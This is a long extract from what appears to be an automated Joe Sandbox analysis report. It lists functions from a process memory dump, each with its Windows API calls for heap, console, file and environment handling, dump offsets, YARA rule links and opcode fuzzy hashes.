                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: File$DeleteErrorLastWrite_get_osfhandle
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2448200120-0
                                                                                                                                                                                                                                  • Opcode ID: e05a56084eefd2e1d526b509c2fb4eb919f761462015927921321e71248703e1
                                                                                                                                                                                                                                  • Instruction ID: 6952cae24d347e68cd2a310f681555c632e5568fa2ea74abe1df633386fb95cc
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e05a56084eefd2e1d526b509c2fb4eb919f761462015927921321e71248703e1
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B211C131600314AFDB159F69EC69A7FB769EFC6B26F140129F806C6291DAB48C409A72
                                                                                                                                                                                                                                  Function 00D17221 Relevance: 6.1, APIs: 4, Instructions: 61memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,?,00D39962,00000000,?,00000000,00D2CF94,00000000,?), ref: 00D1727F
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D17286
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?), ref: 00D172AF
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D172B6
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heap$FreeProcess
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3859560861-0
                                                                                                                                                                                                                                  • Opcode ID: edfd451ed3065bb74636479f120d77f7a91d55e22e9a181acae87c9797d1ed9a
                                                                                                                                                                                                                                  • Instruction ID: 4365a44fcbb633f6e5d1af5faa348654e00c559811ab82884002f249d5a3bd0c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: edfd451ed3065bb74636479f120d77f7a91d55e22e9a181acae87c9797d1ed9a
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3811BE31208710ABCB20AF68A805BB67BB1EF86315F280449F896CB361DE30D883D775
                                                                                                                                                                                                                                  Function 00D162C8 Relevance: 6.1, APIs: 4, Instructions: 60memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00000000,00000000,00D16231,00000000,00000000,EF898DFC), ref: 00D1630C
                                                                                                                                                                                                                                  • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00D16313
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heap$AllocProcess
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1617791916-0
                                                                                                                                                                                                                                  • Opcode ID: 388585951b4f57e250fbb89d21c09d680ae7583a32460479ee878084d8abfdb4
                                                                                                                                                                                                                                  • Instruction ID: f11af3423cda34a7d838eaccaff3ca0a7434a71d13273cd87b5106740b21a43e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 388585951b4f57e250fbb89d21c09d680ae7583a32460479ee878084d8abfdb4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 06115531600721A7CB245B19B814BBF6719EF80B12F0D0119ED16DB380DE21DC82A2B5
                                                                                                                                                                                                                                  Function 00D1DD20 Relevance: 6.1, APIs: 4, Instructions: 56memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,?,00000000,00D1BDB3,00000000,?), ref: 00D1DD37
                                                                                                                                                                                                                                  • HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00D1DD3E
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 00D1DD53
                                                                                                                                                                                                                                  • HeapSize.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00D1DD5A
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heap$Process$AllocSize
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2549470565-0
                                                                                                                                                                                                                                  • Opcode ID: 16f292bf00d67e7648371f312f91c10d7e080e0293be8b23251540af311ee956
                                                                                                                                                                                                                                  • Instruction ID: d06f9efef11f181cf957273e0d2882c5b30098bcdadb2e6298f6f14e295cacbb
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 16f292bf00d67e7648371f312f91c10d7e080e0293be8b23251540af311ee956
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EA018076240711ABC7219B68FC88ED9776AEB91796F280122F505C7150DF21D88487B1
                                                                                                                                                                                                                                  Function 00D38496 Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,?,?,?,?,?,?,?,?,?,?,00D18A51), ref: 00D384B9
                                                                                                                                                                                                                                  • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,?,?,?,?,?,?,?,?,00D18A51), ref: 00D384C6
                                                                                                                                                                                                                                  • FillConsoleOutputAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00D18A51), ref: 00D384EA
                                                                                                                                                                                                                                  • SetConsoleTextAttribute.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?,?,?,?,?,?,?,?,?,?,00D18A51), ref: 00D384F2
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Console$Attribute$BufferFillHandleInfoOutputScreenText
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1033415088-0
                                                                                                                                                                                                                                  • Opcode ID: 88015f1a02ff459ec89bdc51cb9133a78d82affb4adf9a16e0e5071ef306c2af
                                                                                                                                                                                                                                  • Instruction ID: 4461cdde0035e4dab7e174d18208622617a68bc45189675d7fad5ddaafe455b4
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 88015f1a02ff459ec89bdc51cb9133a78d82affb4adf9a16e0e5071ef306c2af
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 25012172A10329AF8B049B68DC849FFB7ECEF0D715B004129F902D2190EA649905D675
                                                                                                                                                                                                                                  Function 00D25643 Relevance: 6.0, APIs: 4, Instructions: 46fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D20060: wcschr.MSVCRT ref: 00D2006C
                                                                                                                                                                                                                                  • CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,40000000,00000000,0000000C,00000004,08000080,00000000,00000000,00000000), ref: 00D25678
                                                                                                                                                                                                                                  • _open_osfhandle.MSVCRT ref: 00D2568C
                                                                                                                                                                                                                                  • CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 00D256A2
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D3122B
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CloseCreateErrorFileHandleLast_open_osfhandlewcschr
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 22757656-0
                                                                                                                                                                                                                                  • Opcode ID: ff8ec41dde81d436ffceb68e2418acf6eace70942124c0050f033bbdaeaa9352
                                                                                                                                                                                                                                  • Instruction ID: bea838c3f9c704f56b16d7891981e731d8d1cbd09456e661ab704537669d6e92
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ff8ec41dde81d436ffceb68e2418acf6eace70942124c0050f033bbdaeaa9352
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B5018475904330ABD7106BACAC4DB5E7BA8A75273AF204315F861E22E0DBB0480586B5
                                                                                                                                                                                                                                  Function 00D324F6 Relevance: 6.0, APIs: 4, Instructions: 36memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,?,00D322F8), ref: 00D32514
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D3251B
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,?,00D322F8), ref: 00D32539
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D32540
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heap$FreeProcess
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3859560861-0
                                                                                                                                                                                                                                  • Opcode ID: 19d758375a0c4b9ba0269de701f91d5f65d108b261900a4e40d1694e89d04835
                                                                                                                                                                                                                                  • Instruction ID: cca02f51be41854b0a1340ff81789e9ebce2009551fdd62c03f3353358015425
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 19d758375a0c4b9ba0269de701f91d5f65d108b261900a4e40d1694e89d04835
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 88F08C72610B11ABD7148FA4E888B65B7F8FB48313F100A2AE601C6140D774E994CBB1
                                                                                                                                                                                                                                  Function 00D18B96 Relevance: 6.0, APIs: 4, Instructions: 30memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000004,?,00D1885E), ref: 00D18B9D
                                                                                                                                                                                                                                  • HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1885E), ref: 00D18BA4
                                                                                                                                                                                                                                    • Part of subcall function 00D1A9D4: GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,00000000,00D1A9C5), ref: 00D1A9D8
                                                                                                                                                                                                                                    • Part of subcall function 00D1A9D4: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000000,00000000), ref: 00D1A9F3
                                                                                                                                                                                                                                    • Part of subcall function 00D1A9D4: RtlAllocateHeap.NTDLL(00000000), ref: 00D1A9FA
                                                                                                                                                                                                                                    • Part of subcall function 00D1A9D4: memcpy.MSVCRT(00000000,00000000,00000000), ref: 00D1AA09
                                                                                                                                                                                                                                    • Part of subcall function 00D1A9D4: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000), ref: 00D1AA12
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,?,00D1885E), ref: 00D2B5B5
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D2B5BC
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heap$Process$EnvironmentFreeStrings$AllocAllocatememcpy
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3480822025-0
                                                                                                                                                                                                                                  • Opcode ID: 12479840128e30f548f858a55e2d240c2240852e5a2890edfcb028166d5b3014
                                                                                                                                                                                                                                  • Instruction ID: 894fd453f763ea26171ee4b8569ce365ea3c46a35f035cc2b1389b4b8c0f26b6
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 12479840128e30f548f858a55e2d240c2240852e5a2890edfcb028166d5b3014
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 55E01272649B3167D6203BBD7C0DF8A2A54DF44773F150112FB85D92D0DE64C88087B2
                                                                                                                                                                                                                                  Function 00D26860 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D26F48: GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000), ref: 00D26F4F
                                                                                                                                                                                                                                  • __set_app_type.MSVCRT ref: 00D26872
                                                                                                                                                                                                                                  • __p__fmode.MSVCRT ref: 00D26888
                                                                                                                                                                                                                                  • __p__commode.MSVCRT ref: 00D26896
                                                                                                                                                                                                                                  • __setusermatherr.MSVCRT ref: 00D268B7
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1632413811-0
                                                                                                                                                                                                                                  • Opcode ID: 1f97f16863f49b1c686447410cdd8d9675d148e6ae725dbdf83c65a2069d25ff
                                                                                                                                                                                                                                  • Instruction ID: cda4f7f2af2310435edfc31ac8a74a54bb1444e7c6fa3223ec6ebfd75006670f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1f97f16863f49b1c686447410cdd8d9675d148e6ae725dbdf83c65a2069d25ff
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8EF098755093618FEB286F74F90A6083B61FB1536AB100B5AE861C63F5DB79D440CA32
                                                                                                                                                                                                                                  Function 00D39F18 Relevance: 6.0, APIs: 4, Instructions: 24COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D39F24
                                                                                                                                                                                                                                  • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,00D3449C,?,?,00000001,?), ref: 00D39F2C
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D39F42
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,00D3449C,?,?,00000001,?), ref: 00D39F4A
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ConsoleMode_get_osfhandle
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1606018815-0
                                                                                                                                                                                                                                  • Opcode ID: 45b15ed898d6448ef61eb900b1cee6527137a345c284746604f48c71ec7b6bf2
                                                                                                                                                                                                                                  • Instruction ID: ca3bff455e7de6af2ea4b63594f408bd4c507b49b082523bf141c909b82df322
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 45b15ed898d6448ef61eb900b1cee6527137a345c284746604f48c71ec7b6bf2
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4DE04F71500305FFDB009BF8EC0EA9A776CEF04326F140605F929D61D5DAB5D9009631
                                                                                                                                                                                                                                  Function 00D18235 Relevance: 6.0, APIs: 4, Instructions: 17COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D1824E
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00D18256
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D18264
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00D1826C
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ConsoleMode_get_osfhandle
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1606018815-0
                                                                                                                                                                                                                                  • Opcode ID: ffbcedf5aa98663455ce2dfc9709cdb7a3ea35cc362c49b4270dbb4751a47e69
                                                                                                                                                                                                                                  • Instruction ID: fd5046918ca5f4a0c0f5dd286e8c4bbcd171670ccd262190d6bfe5e19295ae9f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ffbcedf5aa98663455ce2dfc9709cdb7a3ea35cc362c49b4270dbb4751a47e69
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C8E0B6B55103109FDB44DFA8FC1EA653B64FB09312F004109F605C23B4DBB554008F32
                                                                                                                                                                                                                                  Function 00D172C6 Relevance: 6.0, APIs: 4, Instructions: 15memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,00D1729C), ref: 00D172CF
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D172D6
                                                                                                                                                                                                                                  • GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?), ref: 00D172DF
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL ref: 00D172E6
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heap$FreeProcess
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3859560861-0
                                                                                                                                                                                                                                  • Opcode ID: 1090830194e0798ad75819d5a3f37e0c59fff333ec0f54543f8af64168af3e96
                                                                                                                                                                                                                                  • Instruction ID: b7e6d46583276c012cdb936000315e5537f2f41568d579629b35000d4dc240ec
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1090830194e0798ad75819d5a3f37e0c59fff333ec0f54543f8af64168af3e96
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FAD0C932405F30ABD7503FE8BC0DF8A3E28EF49393F110603FA05C22608AB448008B72
                                                                                                                                                                                                                                  Function 00D19CC0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 191COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                    • Part of subcall function 00D1A62F: wcschr.MSVCRT ref: 00D1A635
                                                                                                                                                                                                                                    • Part of subcall function 00D1C570: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00D1C5BD
                                                                                                                                                                                                                                    • Part of subcall function 00D1C570: RtlFreeHeap.NTDLL ref: 00D1C5C4
                                                                                                                                                                                                                                    • Part of subcall function 00D1C570: _setjmp3.MSVCRT ref: 00D1C630
                                                                                                                                                                                                                                  • _wcsupr.MSVCRT ref: 00D2C21F
                                                                                                                                                                                                                                    • Part of subcall function 00D21A47: memset.MSVCRT ref: 00D21AE2
